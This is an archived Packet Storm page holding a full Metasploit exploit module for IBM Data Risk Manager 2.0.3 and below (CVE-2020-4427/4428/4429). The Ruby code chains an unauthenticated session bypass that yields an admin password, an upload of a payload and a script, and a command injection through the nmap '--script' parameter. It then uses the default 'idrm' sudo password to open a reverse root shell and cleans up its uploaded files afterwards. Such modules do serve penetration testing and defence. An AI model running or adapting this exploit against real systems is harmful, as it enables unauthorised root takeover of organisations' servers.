what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

IBM Data Risk Manager 2.0.3 Remote Code Execution

IBM Data Risk Manager 2.0.3 Remote Code Execution
Posted May 5, 2020
Authored by Pedro Ribeiro | Site metasploit.com

IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by an unauthenticated attacker to achieve remote code execution as root. The first is an unauthenticated bypass, followed by a command injection as the server user, and finally abuse of an insecure default password. This module exploits all three vulnerabilities, giving the attacker a root shell. At the time of disclosure, this is a 0day. Versions 2.0.3 and below are confirmed to be affected, and the latest 2.0.6 is most likely affected too.

tags | exploit, remote, shell, root, vulnerability, code execution
advisories | CVE-2020-4427, CVE-2020-4428, CVE-2020-4429
SHA-256 | 5e042f223b6191ace28628a3b791fe40265ee2b640aac230d6977add6e767672

IBM Data Risk Manager 2.0.3 Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'IBM Data Risk Manager Unauthenticated Remote Code Execution',
'Description' => %q{
IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by
an unauthenticated attacker to achieve remote code execution as root.
The first is an unauthenticated bypass, followed by a command injection as the server user,
and finally abuse of an insecure default password.
This module exploits all three vulnerabilities, giving the attacker a root shell.
At the time of disclosure, this is a 0day. Versions 2.0.3 and below are confirmed to be
affected, and the latest 2.0.6 is most likely affected too.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2020-4427' ], # auth bypass
[ 'CVE', '2020-4428' ], # command injection
[ 'CVE', '2020-4429' ], # insecure default password
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ]
],
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
[ 'IBM Data Risk Manager <= 2.0.3 (<= 2.0.6 possibly affected)', {} ]
],
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 15,
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => '2020-04-21'
)
)

register_options(
[
Opt::RPORT(8443),
OptString.new('TARGETURI', [ true, 'Default server path', '/'])
]
)
end

def check
# at the moment there is no better way to detect AND be stealthy about it
session_id = rand_text_alpha(5..12)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
'method' => 'GET',
'vars_get' => {
'id' => session_id,
'userName' => 'admin'
}
})
if res && (res.code == 302) &&
res.headers['Location'].include?('localhost:8765') &&
res.headers['Location'].include?('saml/idpSelection')
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Unknown
end

# post-exploitation:
# - delete the .enc files that were uploaded (register_file_for_cleanup seems to crap out)
def on_new_session(client)
if client.type == 'meterpreter'
# stdapi must be loaded before we can use fs.file
client.core.use('stdapi') if !client.ext.aliases.include?('stdapi')
client.fs.file.rm(@script_filepath)
client.fs.file.rm(@payload_filepath)
else
client.shell_command_token("rm #{@script_filepath}")
client.shell_command_token("rm #{@payload_filepath}")
end
end

# version 2.0.1 runs as root, so we need to change the path to where we deploy the patches
def get_patches_path(cookie, csrf)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'albatross', 'getAppInfo'),
'method' => 'GET',
'cookie' => cookie,
'headers' => { 'CSRF-TOKEN' => csrf }
})

if res && (res.code == 200) && res.body =~ /appVersion":"2\.0\.1"/
print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.1")
return '/root/agile3/patches/'
end
print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.2 or above")
'/home/a3user/agile3/patches/'
end

def create_session_id
# step 1: create a session ID and try to make it stick
session_id = rand_text_alpha(5..12)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
'method' => 'GET',
'vars_get' => {
'id' => session_id,
'userName' => 'admin'
}
})
if res && (res.code != 302)
fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID")
end

print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}")

session_id
end

def free_the_admin(session_id)
# step 2: give the session ID to the server and have it grant us a free admin password
post_data = Rex::MIME::Message.new
post_data.add_part('', nil, nil, 'form-data; name="deviceid"')
post_data.add_part(rand_text_alpha(8..15), nil, nil, 'form-data; name="password"')
post_data.add_part('admin', nil, nil, 'form-data; name="username"')
post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
post_data.add_part(session_id, nil, nil, 'form-data; name="sessionId"')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})

unless res && (res.code == 200) && res.body[/"data":"([0-9a-f\-]{36})/]
fail_with(Failure::Unknown, "#{peer} - Failed to obtain the admin password.")
end

password = Regexp.last_match(1)
print_good("#{peer} - We have obtained a new admin password #{password}")

password
end

def login_and_csrf(password)
# step 3: login and get an authenticated cookie
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'albatross', 'login'),
'method' => 'POST',
'vars_post' => {
'userName' => 'admin',
'password' => password
}
})
unless res && (res.code == 302) && res.get_cookies
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate as an admin.")
end

print_good("#{peer} - ... and are authenticated as an admin!")
cookie = res.get_cookies
url = res.redirection.to_s

# step 4: obtain CSRF header in order to be able to make valid requests
res = send_request_cgi({
'uri' => url,
'method' => 'GET',
'cookie' => cookie
})

unless res && (res.code == 200) && res.body =~ /var csrfToken = "([0-9a-f\-]{36})";/
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate obtain CSRF cookie.")
end
csrf = Regexp.last_match(1)

return cookie, csrf
end

def upload_payload_and_script(cookie, csrf, patches_path)
# step 5: upload our payload
payload_file = rand_text_alpha(5..12) + '.enc'
post_data = Rex::MIME::Message.new
post_data.add_part(generate_payload_exe, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{payload_file}\"")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'),
'method' => 'POST',
'cookie' => cookie,
'headers' => { 'CSRF-TOKEN' => csrf },
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})

unless res && (res.code == 200)
fail_with(Failure::Unknown, "#{peer} - Failed to upload payload.")
end

print_good("#{peer} - We have uploaded our payload... ")

# step 6: upload our script file
# nmap will run as a3user (the server user), which has a default password of "idrm".
# a3user has sudo access, so that means we run as root!
# However let's do some basic error checking: if somehow the a3user password was changed and we cannot sudo
# to execute as root, we ensure our payload still executes as a3user.
#
# Note: for version 2.0.1, the above is not necessary as nmap runs as root. However, leave it anyway for simplicity.
script_file = rand_text_alpha(5..12) + '.enc'
@script_filepath = patches_path + script_file
@payload_filepath = patches_path + payload_file
rand_file = rand_text_alpha(5..12)
cmd = "chmod +x #{@payload_filepath}; echo idrm | sudo -S whoami > /tmp/#{rand_file};"
cmd << " root=`cat /tmp/#{rand_file}`;"
cmd << " if [ $root == 'root' ]; then sudo #{@payload_filepath};"
cmd << " else #{@payload_filepath}; fi; rm /tmp/#{rand_file}"
script_file_contents = "os.execute(\"#{cmd}\")"

post_data = Rex::MIME::Message.new
post_data.add_part(script_file_contents, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{script_file}\"")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'),
'method' => 'POST',
'cookie' => cookie,
'headers' => { 'CSRF-TOKEN' => csrf },
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})

unless res && (res.code == 200)
fail_with(Failure::Unknown, "#{peer} - Failed to upload nmap script file.")
end

print_good("#{peer} - and our nmap script file!")
end

def obtain_bearer_token(password)
# step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have)
post_data = Rex::MIME::Message.new
post_data.add_part('', nil, nil, 'form-data; name="deviceid"')
post_data.add_part(password, nil, nil, 'form-data; name="password"')
post_data.add_part('admin', nil, nil, 'form-data; name="username"')
post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})

unless res && (res.code == 200) && res.body =~ /\"data\":\{\"access_token\":\"([0-9a-f\-]{36})\",\"token_type\":\"bearer\"/
fail_with(Failure::Unknown, "#{peer} - Failed to obtain Bearer token.")
end

bearer = Regexp.last_match(1)
print_good("#{peer} - Bearer token #{bearer} obtained, wait for the final step where we invoke nmap...")

bearer
end

def exploit
# step 1: create a session ID and try to make it stick
session_id = create_session_id

# step 2: give the session ID to the server and have it grant us a free admin password
password = free_the_admin(session_id)

# step 3: login and get an authenticated cookie
# step 4: obtain CSRF header in order to be able to make valid requests
cookie, csrf = login_and_csrf(password)

patches_path = get_patches_path(cookie, csrf)

# step 5: upload our payload
# step 6: upload our script file
upload_payload_and_script(cookie, csrf, patches_path)

# step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have)
bearer = obtain_bearer_token(password)

# step 8 and final: invoke the nmap scan with our script file
script = "--script=#{@script_filepath}"
post_data = Rex::MIME::Message.new
post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
post_data.add_part('1', nil, nil, 'form-data; name="type"')
post_data.add_part('', nil, nil, 'form-data; name="portRange"')
post_data.add_part(script, nil, nil, 'form-data; name="ipAddress"')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'albatross', 'restAPI', 'v2', 'nmap', 'run', 'scan', rand(99 + 1).to_s),
'method' => 'POST',
'headers' => { 'Authorization' => "Bearer #{bearer}" },
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
unless res && (res.code == 200)
fail_with(Failure::Unknown, "#{peer} - Failed to run nmap scan.")
end

print_good("#{peer} - Shell incoming!")
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close